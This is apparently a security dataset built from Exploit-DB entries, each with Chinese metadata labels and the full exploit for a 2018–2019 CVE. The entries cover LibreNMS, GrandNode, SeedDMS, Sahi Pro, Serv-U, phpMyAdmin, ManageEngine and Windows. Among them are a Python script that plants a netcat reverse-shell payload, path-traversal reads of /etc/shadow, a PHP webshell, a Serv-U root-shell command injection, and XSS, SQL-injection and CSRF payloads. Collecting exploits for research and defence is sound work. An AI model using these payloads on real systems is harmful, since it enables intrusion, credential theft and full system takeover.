QLWD/code_shield huggingface dataset:
标题: LibreNMS 1.46 - 'addhost' Remote Code Execution EDB-ID: 47044 CVE: 2018-20434 类型: WEBAPPS 平台: PHP 发布日期: 2019-06-28 漏洞利用脚本: #!/usr/bin/python

'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''

import requests
from urllib import urlencode
import sys

if len(sys.argv) != 5:
    print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
    sys.exit(0)

# target (user input)
target = sys.argv[1]

# cookies (user input)
raw_cookies = sys.argv[2]

# remote host to connect to
rhost = sys.argv[3]

# remote port to connect to
rport = sys.argv[4]

# hostname to use (change it if you want)
hostname = "dummydevice"

# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)

# request headers
headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
    }

# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
    # print cookie
    c = cookie.split("=")
    cookies[c[0]] = c[1]


def create_new_device(url):
    raw_request = {
        "hostname": hostname,
        "snmp": "on",
        "sysName": "",
        "hardware": "",
        "os": "",
        "snmpver": "v2c",
        "os_id": "",
        "port": "",
        "transport": "udp",
        "port_assoc_mode": "ifIndex",
        "community": payload,
        "authlevel": "noAuthNoPriv",
        "authname": "",
        "authpass": "",
        "cryptopass": "",
        "authalgo": "MD5",
        "cryptoalgo": "AES",
        "force_add": "on",
        "Submit": ""
    }
    full_url = url + "/addhost/"
    request_body = urlencode(raw_request)

    # send the device creation request
    request = requests.post(
        full_url, data=request_body, cookies=cookies, headers=headers
    )
    text = request.text
    if "Device added" in text:
        print "[+] Device Created Sucssfully"
        return True
    else:
        print "[-] Cannot Create Device"
        return False


def request_exploit(url):
    params = {
        "id": "capture",
        "format": "text",
        "type": "snmpwalk",
        "hostname": hostname
        }

    # send the payload call
    request = requests.get(url + "/ajax_output.php",
        params=params,
        headers=headers,
        cookies=cookies
        )
    text = request.text
    if rhost in text:
        print "[+] Done, check your nc !"


if create_new_device(target):
    request_exploit(target) URL: https://www.exploit-db.com/exploits/47044
标题: GrandNode 4.40 - Path Traversal / Arbitrary File Download EDB-ID: 47027 CVE: 2019-12276 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-06-24 漏洞利用脚本: # Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated)
# Date: 06/23/3019
# Exploit Author: Corey Robinson (https://twitter.com/CRobSec)
# Vendor Homepage: https://grandnode.com/
# Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip
# Version: <= v4.40 (before 5/30/2019)
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-12276

'''
CVE-2019-12276

A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to 
view any files that the application has read/view permissions to. This vulnerability affects 
Windows and Unix operating systems.

For more details, see: https://security401.com/grandnode-path-traversal/

'''

import requests
import argparse

def exploit(url, file):
    
    session = requests.Session()

    paramsGet = {"fileName":file}
    rawBody = "\r\n"

    response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet)

    if "UnauthorizedAccessException" in response.content or response.status_code == 500:
        print("Access to the path '{}' is denied.".format(file))
        return 

    content_length = int(response.headers['Content-Length'])

    if content_length == 0:
        print("The '{}' file was not found.".format(file)) 
    else:
        print("-" *22)
        print(response.content)
        print("-" *22)


if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download')
    parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
    parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
    args = parser.parse_args()

    exploit(args.url, args.file)

# python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd"
# python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt"
# python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow"
# python gn.py -u http://172.16.2.22:5001 -f "../../../web.config" URL: https://www.exploit-db.com/exploits/47027
标题: SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting EDB-ID: 47024 CVE: 2019-12801 类型: WEBAPPS 平台: PHP 发布日期: 2019-06-24 漏洞利用脚本: # Exploit Title: [Persistent Cross-Site Scripting or Stored XSS in out/out.GroupMgr.php in SeedDMS before 5.1.11]
# Google Dork: [NA]
# Date: [17-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [< 5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12801]

Proof-of-Concept:

Step 1: Login to the application and go to Groups Management in Admin tools.
Step 2: Now create a new group as hello<script>alert("group")</script>
Step 3: Now save it click on choose group to execute the javascript inserted above. URL: https://www.exploit-db.com/exploits/47024
标题: SeedDMS versions < 5.1.11 - Remote Command Execution EDB-ID: 47022 CVE: 2019-12744 类型: WEBAPPS 平台: PHP 发布日期: 2019-06-24 漏洞利用脚本: # Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]

Exploit Steps:

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

PHP Backdoor Code: 
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved. URL: https://www.exploit-db.com/exploits/47022
标题: SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting EDB-ID: 47023 CVE: 2019-12745 类型: WEBAPPS 平台: PHP 发布日期: 2019-06-24 漏洞利用脚本: # Exploit Title: [Persistent Cross-Site Scripting or Stored XSS in out/out.UsrMgr.php in SeedDMS before 5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [< 5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12745]

Proof-of-Concept:

Step 1: Login to the application and go to My account and edit user details.
Step 2: Change the name by adding <script>alert("name")</script> 
Step 3: Now browse to user management option in Admin-tools and click on choose user to execute the previously inserted javascript. URL: https://www.exploit-db.com/exploits/47023
标题: Sahi pro 8.x - Cross-Site Scripting EDB-ID: 47007 CVE: 2018-20472 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-06-18 漏洞利用脚本: # Exploit Title: Sahi pro ( <= 8.x ) Stored XSS
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20472
# POC-URL : https://barriersec.com/2019/06/cve-2018-20472-sahi-pro/

DESCRIPTION :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. The logs web interface is vulnerable to stored XSS. Description parameter of Testcase API can be used to exploit the stored XSS.


POC :

step 1 :

 create a sahi test automation script with the following content and save the file with ".sah" extension ( example : poc.sah) :

            var $tc1 = _testcase(“TC-1″,”<script>alert(document.cookie)</script>”).start();

           _log(“testing stored XSS injection”);

            $tc1.end();

Step 2 :

Execute the created script ( poc.sah ) using sahi GUI controller .

Step 3 : navigate to the web logs console ( http://<ip>:<port>/logs ) using the browser for the executed script. XSS is triggered . URL: https://www.exploit-db.com/exploits/47007
标题: Sahi pro 7.x/8.x - Directory Traversal EDB-ID: 47005 CVE: 2018-20470 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-06-18 漏洞利用脚本: # Exploit Title: Sahi pro ( <= 8.x ) Directory traversal
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20470


Description :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.

POC :

vulnerable URL :

''' replace the ip and port of the remote sahi pro server machine '''


http://<ip>:<port>/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected URL: https://www.exploit-db.com/exploits/47005
标题: Sahi pro 8.x - SQL Injection EDB-ID: 47006 CVE: 2018-20469 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-06-18 漏洞利用脚本: # Exploit Title: Sahi pro ( <= 8.x ) sensitive information disclosure by SQL injection.
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20469
# POC-URL : https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/

Description :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A parameter in the web reports module is vulnerable to SQL injection. This can be exploited to inject SQL queries and run standard h2 system functions.


POC :

vulnerable URL :

''' replace the ip and port of the remote sahi pro server machine '''


# here sql query is passed directly as part of GET request which can be modified to run standard h2 database functions. in the following POC , "memory_used()" function is injected , which is reflected in "status" column of reports page.

http://<ip>:<port>/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT memory_used() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS URL: https://www.exploit-db.com/exploits/47006
标题: Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1) EDB-ID: 47009 CVE: 2019-12181 类型: LOCAL 平台: LINUX 发布日期: 2019-06-18 漏洞利用脚本: /*

CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation 

vulnerability found by:
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev

to compile and run:
gcc servu-pe-cve-2019-12181.c -o pe && ./pe

*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main()
{       
    char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
    int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
    // if execv is successful, we won't reach here
    printf("ret val: %d errno: %d\n", ret_val, errno);
    return errno;
} URL: https://www.exploit-db.com/exploits/47009
标题: Sitecore 8.x - Deserialization Remote Code Execution EDB-ID: 46987 CVE: 2019-11080 类型: WEBAPPS 平台: ASPX 发布日期: 2019-06-13 漏洞利用脚本: # Exploit Title: Sitecore v 8.x Deserialization RCE
# Date: Reported to vendor October 2018, fix released April 2019.
# Exploit Author: Jarad Kopf
# Vendor Homepage: https://www.sitecore.com/
# Software Link: Sitecore downloads: https://dev.sitecore.net/Downloads.aspx
# Version: Sitecore 8.0 Revision 150802
# Tested on: Windows
# CVE : CVE-2019-11080 

Exploit: 

Authentication is needed for this exploit. An attacker needs to login to Sitecore 8.0 revision 150802's Admin section. 
When choosing to Serializeusers or domains in the admin UI, calls to /sitecore/shell/~/xaml/Sitecore.Shell.Applications.Dialogs.Progress.aspx will include a CSRFTOKEN parameter. 
By replacing this parameter with a URL-encoded, base64-encoded crafted payload from ysoserial.net, an RCE is successful. URL: https://www.exploit-db.com/exploits/46987
标题: Pronestor Health Monitoring < 8.1.11.0 - Privilege Escalation EDB-ID: 46988 CVE: 2018-19113 类型: LOCAL 平台: WINDOWS 发布日期: 2019-06-13 漏洞利用脚本: [Summary]
The Pronestor service "PNHM" (aka Health Monitoring or HealthMonitor) 
before 8.1.12.0 has "BUILTIN\Users:(I)(F)" permissions for 
the "%PROGRAMFILES(X86)%\proNestor\Outlook add-in for Pronestor\PronestorHealthMonitor.exe" file, 
which allows local users to gain privileges via a Trojan horse PronestorHealthMonitor.exe file.

During the installation of Pronestors Outlook-Add-In (version 8.1.11.0 
and older) the installer creates a service named PNHM (Pronester 
Health Monitoring) with weak file permission running as SYSTEM.
The vulnerability allows all "Authenticated Users" to potentially 
execute arbitrary code as SYSTEM on the local system.

[Additional Information]
Tested on Windows 7.
Version: Outlook Add-In 8.1.11.0 and older
Also tested on version 5.1.6.0 with same result.
Discovered: 06-nov-2018
Reported: 07-nov-2018

Vendor: https://www.pronestor.com/
Vendor confirmed: True
Fixed: Version 8.1.12.0
Attack Type: Local Privilege Escalation
Vulnerability due to: Insecure Permissions
Discoverer: PovlTekstTV
CVE: 2018-19113
Original link: https://gist.github.com/povlteksttv/8f990e11576e1e90e8fb61acf8646d28

[Proof]
C:\Users\povltekst>sc qc PNHM

SERVICE_NAME: PNHM
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\proNestor\Outlook add-in for Pronestor\PronestorHealthMonitor.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Pronestor HealthMonitor
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\povltekst>icacls 'C:\Program Files (x86)\proNestor\Outlook add-in for Pronestor\PronestorHealthMonitor.exe'
C:\Program Files (x86)\proNestor\Outlook add-in for Pronestor\PronestorHealthMonitor.exe
         BUILTIN\Users:(I)(F)
         NT AUTHORITY\SYSTEM:(I)(F)
         BUILTIN\Administrators:(I)(F)

Notice: "BUILIN\Users:(I)(F)". (F) = Full access!
This means that an authenticated user can change the file

[Attack Vectors]
Replace the file "PronestorHealthMonitor.exe" with a malicious file 
also called "PronesterHealthMonitor.exe". Next time the service (PNHM) 
starts, the malicious file will get executed as SYSTEM. The service 
starts on every reboot.

[Affected Component]
PronestorHealthMonitor.exe
This exe will be executed on every reboot by a service named PNHM running as SYSTEM. URL: https://www.exploit-db.com/exploits/46988
标题: Liferay Portal 7.1 CE GA=3 / SimpleCaptcha API - Cross-Site Scripting EDB-ID: 46983 CVE: 2019-6588 类型: WEBAPPS 平台: JSP 发布日期: 2019-06-11 漏洞利用脚本: # Exploit Title: Liferay Portal < 7.1 CE GA4 / SimpleCaptcha API XSS
# Date: 04/06/2019
# Exploit Author: Valerio Brussani (@val_brux)
# Website: www.valbrux.it
# Vendor Homepage: https://www.liferay.com/
# Software Link: https://www.liferay.com/it/downloads-community
# Version: < 7.1 CE GA4
# Tested on: Liferay Portal 7.1 CE GA3
# CVE: CVE-2019-6588
# Reference1: https://dev.liferay.com/web/community-security-team/known-vulnerabilities/liferay-portal-71/-/asset_publisher/7v4O7y85hZMo/content/cst-7130-multiple-xss-vulnerabilities-in-7-1-ce-ga3
# Reference2: https://www.valbrux.it/blog/2019/06/04/cve-2019-6588-liferay-portal-7-1-ce-ga4-simplecaptcha-api-xss/


Introduction
In Liferay Portal before 7.1 CE GA4, an XSS vulnerability exists in the SimpleCaptcha API when custom code passes unsanitized input 
into the “url” parameter of the JSP taglib call <liferay-ui:captcha url=”<%= url %>” /> or <liferay-captcha:captcha url=”<%= url %>” />. 
A customized Liferay portlet which directly calls the Simple Captcha API without sanitizing the input could be susceptible to this vulnerability.
 
Poc
In a sample scenario of custom code calling the <liferay-ui:captcha url=”<%= url %>” /> JSP taglib, appending a payload like the following to the body parameters of a customized form:
 
&xxxx%22%3e%3cscript%3ealert(1)</script> 
 
The script is reflected in the src attribute of the <img> tag, responsible of fetching the next available captcha:
 
<img alt=”xxx” class=”xxxx” src=”xxxxxx“><script>alert(1)</script>=” /> URL: https://www.exploit-db.com/exploits/46983
标题: phpMyAdmin 4.8 - Cross-Site Request Forgery EDB-ID: 46982 CVE: 2019-12616 类型: WEBAPPS 平台: PHP 发布日期: 2019-06-11 漏洞利用脚本: # Exploit Title: Cross Site Request Forgery (CSRF)
# Date: 11 June 2019
# Exploit Author: Riemann
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: 4.8
# Tested on: UBUNTU 16.04 LTS -Installed Docker image - docker pull phpmyadmin/phpmyadmin:4.8 
# CVE : 2019-12616

# Description
# An issue was discovered in phpMyAdmin before 4.9.0. A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken <img> tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) to the victim. 


#VULNERABILITY:
The following request which is a form submission is done using the ¨GET¨ request instead of using ¨POST
<form method="get" action="index.php" class="disableAjax">

GET http://localhost:9000/tbl_sql.php?sql_query=INSERT+INTO+%60pma__bookmark%60+(%60id%60%2C+%60dbase%60%2C+%60user%60%2C+%60label%60%2C+%60query%60)+VALUES+(DAYOFWEEK(%27%27)%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27)&show_query=1&db=phpmyadmin&table=pma__bookmark HTTP/1.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Cookie: pmaCookieVer=5; pma_lang=en; pma_collation_connection=utf8mb4_unicode_ci; pmaUser-1=%7B%22iv%22%3A%22M16ZzlA0rqF9BZ1jFsssjQ%3D%3D%22%2C%22mac%22%3A%22804941d12fceca0997e181cbcb8427d68c668240%22%2C%22payload%22%3A%22mD9juTxAYhC7lA7XPWHWOw%3D%3D%22%7D; phpMyAdmin=9bdd66557e399fc1447bf253bc2dc133
Upgrade-Insecure-Requests: 1
Host: localhost:9000

The attacker can easily create a fake hyperlink containing the request that wants to execute on behalf the user,in this way making possible a CSRF attack due to the wrong use of HTTP method

#POC
<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">
  <title>POC CVE-2019-12616</title>
</head>

<body>
<a href="http://localhost:9000/tbl_sql.php?sql_query=INSERT+INTO+`pma__bookmark`+(`id`%2C+`dbase`%2C+`user`%2C+`label`%2C+`query`)+VALUES+(DAYOFWEEK('')%2C+''%2C+''%2C+''%2C+'')&show_query=1&db=phpmyadmin&table=pma__bookmark">View my Pictures!</a>
</body>
</html> URL: https://www.exploit-db.com/exploits/46982
标题: Zoho ManageEngine ServiceDesk Plus 9.3 - 'PurchaseRequest.do' Cross-Site Scripting EDB-ID: 46966 CVE: 2019-12543 类型: WEBAPPS 平台: JAVA 发布日期: 2019-06-04 漏洞利用脚本: # Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting via PurchaseRequest.do
# Date: 2019-06-04
# Exploit Author: Tarantula Team - VinCSS (a member of Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus 9.3
# CVE : CVE-2019-12543


Information Description: An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the PurchaseRequest.do serviceRequestId parameter.


Attack vector: domain/PurchaseRequest.do?operation=getAssociatedPrsForSR&serviceRequestId=g24aj%3Cimg%20src%3da%20onerror%3dalert(%27XSS%27)%3Eqdaxl


PoC: https://drive.google.com/file/d/1pHeq446oNonw5ZJ53idKhP8gC-9CZtQW/view URL: https://www.exploit-db.com/exploits/46966
标题: Zoho ManageEngine ServiceDesk Plus 9.3 - 'SearchN.do' Cross-Site Scripting EDB-ID: 46965 CVE: 2019-12542 类型: WEBAPPS 平台: JAVA 发布日期: 2019-06-04 漏洞利用脚本: # Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting via SearchN.do
# Date: 2019-06-04
# Exploit Author: Tarantula Team - VinCSS (a member of Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus 9.3
# CVE : CVE-2019-12542


An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the SearchN.do userConfigID parameter.


Attack vector: domain/SearchN.do?searchText=a&SELECTEDSITEID=1&SELECTEDSITENAME=&configID=0&SELECTSITE=qc_siteID&submitbutton=Go&userConfigID=21111111ucgol"><img src%3da onerror%3dalert('XSS')>qzmm3u7id8z&selectName=Site

PoC: https://drive.google.com/file/d/1aJN6GudSd7WWckXWxA5nelM48Xib9eS9/view URL: https://www.exploit-db.com/exploits/46965
标题: Microsoft Windows - AppX Deployment Service Local Privilege Escalation (3) EDB-ID: 46976 CVE: 2019-0841 类型: LOCAL 平台: WINDOWS 发布日期: 2019-06-07 漏洞利用脚本: CVE-2019-0841 BYPASS #2

There is a second bypass for CVE-2019-0841.

This can be triggered as following:

Delete all files and subfolders within "c:\users\%username%\appdata\local\packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\" (atleast the ones we can delete as user)

Try to launch edge. It will crash the first time.

When we launch it a second time, it will write the DACL while impersonating "SYSTEM".

The trick here is to launch edge by clicking it on the taskbar or desktop, using "start microsoft-edge:" seems to result in correct impersonation.

You can still do this completely programmatically.. since edge will always be in the same position in the task bar.. *cough* sendinput *cough*. There is probably other ways too.

Another note, this bug is most definitely not restricted to edge. This will be triggered with other packages too. So you can definitely figure out a way to trigger this bug silently without having edge pop up. Or you could probably minimize edge as soon as it launches and close it as soon as the bug completes. I think it will also trigger by just launching edge once, but sometimes you may have to wait a little. I didn't do extensive testing.. found this bug and quickly wrote up a poc, took me like 2 hours total, finding LPEs is easy.

To repro:
1. Launch my poc
2. Launch edge several times

Use video demo as guidance. Also, I don't get paid for dropping bugs, so if you want a simple and full exploit, then go fucking write it yourself, I have better things to do, such as preparing my voyage into the arctic. You're welcome.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Make sure you have multiple cores in your VM (not multiple processors, multiple cores).

It's going to increase the thread priority to increase our odds of winning the race condition that this exploits. If your VM freezes it means you either have 1 core or set your vm to have multiple processors instead of multiple cores... which will also cause it to lock up.




EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46976.zip URL: https://www.exploit-db.com/exploits/46976